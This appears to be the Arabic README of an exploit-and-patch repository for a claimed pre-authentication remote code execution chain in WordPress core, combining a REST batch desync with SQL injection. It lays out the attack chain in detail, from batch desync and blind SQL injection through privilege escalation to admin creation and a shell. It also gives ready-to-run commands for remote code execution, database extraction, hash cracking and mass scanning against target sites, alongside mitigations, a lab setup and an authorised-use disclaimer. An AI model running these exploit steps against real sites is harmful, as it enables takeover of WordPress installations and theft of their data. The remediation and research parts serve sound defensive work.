
wp2shell — ثغرة RCE قبل المصادقة في نواة ووردبريس (CVE-2026-63030 + CVE-2026-60137). مجموعة أدوات استغلال + تصحيح.
CVE-2026-63030 (التباس مسار الدفعة، CVSS 7.5) + CVE-2026-60137 (حقن SQL، CVSS 9.1)
سلسلة تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في نواة ووردبريس لا تتطلب أي إضافات أو تهيئة خاصة، وتعمل على التثبيتات الافتراضية.
| نطاق الإصدار | التأثير | تم الإصلاح في |
|---|---|---|
| ووردبريس 7.0.0 – 7.0.1 | RCE كامل | 7.0.2 |
| ووردبريس 6.9.0 – 6.9.4 | RCE كامل | 6.9.5 |
| ووردبريس 6.8.0 – 6.8.5 | حقن SQL فقط | 6.8.6 |
الشرط المسبق: عدم وجود ذاكرة تخزين مؤقت ثابتة للكائنات (Redis/Memcached). هذا هو التهيئة الافتراضية للغالبية العظمى من تثبيتات ووردبريس.
يستغل الاختراق ثغرتين:
التباس مسار دفعة REST API — مسار مشوّه في طلب فرعي للدفعة يؤدي إلى إرجاع wp_parse_url() القيمة false، مما يُنشئ كائن WP_Error يؤدي إلى إلغاء تزامن المصفوفتين $matches[] و$requests[]. تُرسل الطلبات اللاحقة إلى معالجات خاطئة، متجاوزة المصادقة.
حقن SQL في WP_Query — عند تمرير author__not_in كسلسلة نصية (وليس مصفوفة)، يتم تجاوز تنقية absint() ويُدرج القيمة الخام مباشرة في جملة SQL WHERE.
بدمج ذلك مع نظام التخزين المؤقت لـ oEmbed في ووردبريس (أساسي للكتابة)، والنشر التلقائي لتغييرات Customizer (تصعيد الصلاحيات)، وإعادة الدخول إلى REST API (التوزيع بصلاحيات)، يتم تحقيق تنفيذ تعليمات برمجية دون مصادقة.
wp2shell/
├── README.md ← هذا الملف
│
├── wp2shell-exploit/ ← أدوات الاستغلال
│ ├── exploit.py # استغلال RCE كامل بدون مصادقة (لا حاجة لكسر كلمة المرور)
│ ├── exploit_hash.py # استخراج التجزئة + RCE بعد المصادقة
│ ├── detect.py # ماسح ثغرات غير تخريبي
│ └── README.md
│
├── wp2shell-patch/ ← المعالجة
│ ├── patch.sh # تصحيح شفرة المصدر (يعكس الإصلاح الرسمي)
│ ├── wp2shell-shield.php # إضافة إسقاطية (mu-plugin) (نشر في 30 ثانية)
│ ├── block-batch.conf # تخفيف Nginx
│ ├── block-batch.htaccess # تخفيف Apache
│ └── README.md
│
├── docker-compose.yml # بيئة اختبار ضعيفة (WP 7.0.1)
└── Dockerfile.debug # صورة مفعلة بـ XDebug للبحث
شفرة ووردبريس غير متضمنة. حمّلها من https://wordpress.org/download/releases/ (7.0.1 للضعيفة، 7.0.2 للمصححة).
cd wp2shell-exploit
# هدف واحد
python3 detect.py https://target.example
# مع تأكيد توقيت حقن SQL
python3 detect.py https://target.example --confirm-sqli
# مسح دفعة من ملف
python3 detect.py targets.txt -q
# استغلال RCE كامل بدون مصادقة (موصى به — لا حاجة لكسر كلمة المرور)
python3 exploit.py https://target.example -c "id"
# مجرد استخراج بيانات عبر SQLi أعمى
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"
# بديل: استخراج تجزئة + كسر + RCE بعد المصادقة
python3 exploit_hash.py https://target.example
# ثم بعد الكسر:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
cd wp2shell-patch
# الخيار 1: إضافة إسقاطية (الأسرع، لا حاجة لإعادة التشغيل)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/
# الخيار 2: حظر خادم الويب
# Nginx: أضف block-batch.conf في كتلة الخادم
# Apache: أضف block-batch.htaccess في بداية .htaccess
# الخيار 3: تصحيح شفرة المصدر (إصلاح كامل)
sudo bash patch.sh /path/to/wordpress
# الخيار الأفضل: فقط حدّث ووردبريس
wp core update # أو لوحة التحكم ← التحديثات
┌─────────────────────────────┐
│ Anonymous HTTP Request │
│ POST /?rest_route=/batch/v1 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (outer) │
│ Malformed path → WP_Error │
│ $matches[] array shifts │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Steal /batch/v1 handler │
│ (no permission_callback!) │
│ → nested batch executes │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (inner) │
│ GET methods now allowed │
│ author_exclude unsanitized │
└──────────────┬──────────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
│ Phase 1: oEmbed │ │ Phase 2: │ │ Phase 3: Escalation │
│ UNION SELECT fake │ │ Blind SQLi │ │ Cache poison + │
│ post with [embed] │ │ extract IDs │ │ Changeset publish │
│ → WP creates cache │ │ + admin ID │ │ → wp_set_current_ │
│ posts (write prim.) │ │ │ │ user(admin) │
└─────────────────────┘ └─────────────┘ └──────────┬──────────┘
│
┌──────────────▼──────────────┐
│ Re-entrancy │
│ parse_request triggers │
│ serve_request() re-entry │
│ → now running as admin! │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ POST /wp/v2/users │
│ Creates new administrator │
│ → Login → Plugin → Shell │
└─────────────────────────────┘
يُطبق ووردبريس 6.9.5 / 7.0.2 ثلاثة إصلاحات يكسر كل منها رابطًا واحدًا في السلسلة:
يضيف ووردبريس 7.0.2 أيضًا إزالة ميزة التعاون (دفاع في العمق).
# تشغيل ووردبريس 7.0.1 الضعيف
docker compose up -d
# انتظر حتى تهيئة MySQL، ثم ثبّت
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode "weblog_title=Test" \
--data-urlencode "user_name=admin" \
--data-urlencode "admin_password=TestPassword123" \
--data-urlencode "admin_password2=TestPassword123" \
--data-urlencode "[email protected]" \
--data-urlencode "blog_public=0" \
--data-urlencode "Submit=Install WordPress"
# استغلال
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"
# تنظيف
docker compose down
هذا المستودع مُقدم لغرض البحث الأمني المصرح به واختبار الاختراق والأغراض التعليمية فقط. استخدمه فقط على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها.
| الإصلاح | الملف | التأثير |
|---|
| محاذاة المصفوفة | class-wp-rest-server.php | إضافة $matches[] = $single_request للمدخلات من نوع WP_Error — يمنع إلغاء التزامن |
| حاجز إعادة الدخول | class-wp-rest-server.php + rest-api.php | if ($this->is_dispatching()) return false — يمنع serve_request المتداخل |
| تنقية SQL | class-wp-query.php | تطبيق wp_parse_id_list() دائمًا — يمنع الحقن |